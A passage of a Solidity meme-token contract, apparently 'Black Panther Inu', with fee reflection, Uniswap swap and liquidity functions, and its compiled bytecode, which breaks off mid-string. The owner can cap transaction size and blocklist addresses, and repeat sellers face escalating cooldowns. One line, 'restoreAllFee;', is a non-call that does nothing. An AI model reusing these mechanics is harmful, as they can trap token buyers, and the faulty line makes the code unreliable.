hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (1 days); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 3000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b60405161013091906131c5565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d38565b610418565b60405161016d91906131aa565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613347565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612ce5565b610447565b6040516101d591906131aa565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b60405161020091906133bc565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612d78565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612c4b565b61064d565b60405161027d9190613347565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf91906130dc565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea91906131c5565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d38565b610857565b60405161032791906131aa565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612dd2565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612ca5565b610b03565b6040516103bb9190613347565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280601181526020017f426c61636b2050616e7468657220496e75000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b61051085604051806060016040528060288152602001613a0960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132a7565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4250000000000000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132a7565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132a7565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8990613267565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061248e90919063ffffffff16565b61250990919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613347565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132a7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612c78565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612c78565b6040518363ffffffff1660e01b8152600401610de49291906130f7565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612c78565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613149565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612dff565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611040929190613120565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612da5565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613307565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613227565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613347565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d0906132e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611340906131e7565b60405180910390fd5b6000811161138c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611383906132c7565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613327565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061342c565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61248e90919063ffffffff16565b61250990919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061342c565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b52906135db565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061342c565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c89906135db565b9190505550611c2042611c9c919061342c565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c906135db565b919050555061546042611d8f919061342c565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f906135db565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061342c565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612553565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b6120338484848461257c565b50505050565b6000838311158290612081576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207891906131c5565b60405180910390fd5b5060008385612090919061350d565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461250990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461250990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613207565b60405180910390fd5b60006121e96125bb565b90506121fe818461250990919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561223e5761223d6136b1565b5b60405190808252806020026020018201604052801561226c5781602001602082028036833780820191505090505b509050308160008151811061228457612283613682565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561232657600080fd5b505afa15801561233a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061235e9190612c78565b8160018151811061237257612371613682565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123d930601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161243d959493929190613362565b600060405180830381600087803b15801561245757600080fd5b505af115801561246b573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156124a15760009050612503565b600082846124af91906134b3565b90508284826124be9190613482565b146124fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f590613287565b60405180910390fd5b809150505b92915050565b600061254b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125e6565b905092915050565b8060085461256191906134b3565b600881905550600181111561257957600a6009819055505b50565b8061258a57612589612649565b5b61259584848461267a565b806125a3576125a26125a9565b5b50505050565b60076008819055506005600981905550565b60008060006125c8612845565b915091506125df818361250990919063ffffffff16565b9250505090565b6000808311829061262d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262491906131c5565b60405180910390fd5b506000838561263c9190613482565b9050809150509392505050565b600060085414801561265d57506000600954145b1561266757612678565b600060088190555060006009819055505b565b60008060008060008061268c876128a7565b9550955095509550955095506126ea86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061277f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127cb816129b7565b6127d58483612a74565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128329190613347565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea00000905061287b683635c9adc5dea0000060065461250990919063ffffffff16565b82101561289a57600654683635c9adc5dea000009350935050506128a3565b81819350935050505b9091565b60008060008060008060008060006128c48a600854600954612aae565b92509250925060006128d46125bb565b905060008060006128e78e878787612b44565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061295183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b6000808284612968919061342c565b9050838110156129ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a490613247565b60405180910390fd5b8091505092915050565b60006129c16125bb565b905060006129d8828461248e90919063ffffffff16565b9050612a2c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612a898260065461290f90919063ffffffff16565b600681905550612aa48160075461295990919063ffffffff16565b6007819055505050565b600080600080612ada6064612acc888a61248e90919063ffffffff16565b61250990919063ffffffff16565b90506000612b046064612af6888b61248e90919063ffffffff16565b61250990919063ffffffff16565b90506000612b2d82612b1f858c61290f90919063ffffffff16565b61290f90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b5d858961248e90919063ffffffff16565b90506000612b74868961248e90919063ffffffff16565b90506000612b8b878961248e90919063ffffffff16565b90506000612bb482612ba6858761290f90919063ffffffff16565b61290f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612bdc816139c3565b92915050565b600081519050612bf1816139c3565b92915050565b600081359050612c06816139da565b92915050565b600081519050612c1b816139da565b92915050565b600081359050612c30816139f1565b92915050565b600081519050612c45816139f1565b92915050565b600060208284031215612c6157612c606136e0565b5b6000612c6f84828501612bcd565b91505092915050565b600060208284031215612c8e57612c8d6136e0565b5b6000612c9c84828501612be2565b91505092915050565b60008060408385031215612cbc57612cbb6136e0565b5b6000612cca85828601612bcd565b9250506020612cdb85828601612bcd565b9150509250929050565b600080600060608486031215612cfe57612cfd6136e0565b5b6000612d0c86828701612bcd565b9350506020612d1d86828701612bcd565b9250506040612d2e86828701612c21565b9150509250925092565b60008060408385031215612d4f57612d4e6136e0565b5b6000612d5d85828601612bcd565b9250506020612d6e85828601612c21565b9150509250929050565b600060208284031215612d8e57612d8d6136e0565b5b6000612d9c84828501612bf7565b91505092915050565b600060208284031215612dbb57612dba6136e0565b5b6000612dc984828501612c0c565b91505092915050565b600060208284031215612de857612de76136e0565b5b6000612df684828501612c21565b91505092915050565b600080600060608486031215612e1857612e176136e0565b5b6000612e2686828701612c36565b9350506020612e3786828701612c36565b9250506040612e4886828701612c36565b9150509250925092565b6000612e5e8383612e6a565b60208301905092915050565b612e7381613541565b82525050565b612e8281613541565b82525050565b6000612e93826133e7565b612e9d818561340a565b9350612ea8836133d7565b8060005b83811015612ed9578151612ec08882612e52565b9750612ecb836133fd565b925050600181019050612eac565b5085935050505092915050565b612eef81613553565b82525050565b612efe81613596565b82525050565b6000612f0f826133f2565b612f19818561341b565b9350612f298185602086016135a8565b612f32816136e5565b840191505092915050565b6000612f4a60238361341b565b9150612f55826136f6565b604082019050919050565b6000612f6d602a8361341b565b9150612f7882613745565b604082019050919050565b6000612f9060228361341b565b9150612f9b82613794565b604082019050919050565b6000612fb3601b8361341b565b9150612fbe826137e3565b602082019050919050565b6000612fd6601d8361341b565b9150612fe18261380c565b602082019050919050565b6000612ff960218361341b565b915061300482613835565b604082019050919050565b600061301c60208361341b565b915061302782613884565b602082019050919050565b600061303f60298361341b565b915061304a826138ad565b604082019050919050565b600061306260258361341b565b915061306d826138fc565b604082019050919050565b600061308560248361341b565b91506130908261394b565b604082019050919050565b60006130a860118361341b565b91506130b38261399a565b602082019050919050565b6130c78161357f565b82525050565b6130d681613589565b82525050565b60006020820190506130f16000830184612e79565b92915050565b600060408201905061310c6000830185612e79565b6131196020830184612e79565b9392505050565b60006040820190506131356000830185612e79565b61314260208301846130be565b9392505050565b600060c08201905061315e6000830189612e79565b61316b60208301886130be565b6131786040830187612ef5565b6131856060830186612ef5565b6131926080830185612e79565b61319f60a08301846130be565b979650505050505050565b60006020820190506131bf6000830184612ee6565b92915050565b600060208201905081810360008301526131df8184612f04565b905092915050565b6000602082019050818103600083015261320081612f3d565b9050919050565b6000602082019050818103600083015261322081612f60565b9050919050565b6000602082019050818103600083015261324081612f83565b9050919050565b6000602082019050818103600083015261326081612fa6565b9050919050565b6000602082019050818103600083015261328081612fc9565b9050919050565b600060208201905081810360008301526132a081612fec565b9050919050565b600060208201905081810360008301526132c08161300f565b9050919050565b600060208201905081810360008301526132e081613032565b9050919050565b6000602082019050818103600083015261330081613055565b9050919050565b6000602082019050818103600083015261332081613078565b9050919050565b600060208201905081810360008301526133408161309b565b9050919050565b600060208201905061335c60008301846130be565b92915050565b600060a08201905061337760008301886130be565b6133846020830187612ef5565b81810360408301526133968186612e88565b90506133a56060830185612e79565b6133b260808301846130be565b9695505050505050565b60006020820190506133d160008301846130cd565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134378261357f565b91506134428361357f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561347757613476613624565b5b828201905092915050565b600061348d8261357f565b91506134988361357f565b9250826134a8576134a7613653565b5b828204905092915050565b60006134be8261357f565b91506134c98361357f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561350257613501613624565b5b828202905092915050565b60006135188261357f565b91506135238361357f565b92508282101561353657613535613624565b5b828203905092915050565b600061354c8261355f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135a18261357f565b9050919050565b60005b838110156135c65780820151818401526020810190506135ab565b838111156135d5576000848401525b50505050565b60006135e68261357f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561361957613618613624565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e73000000000000000000000000000000000000000000006020820152505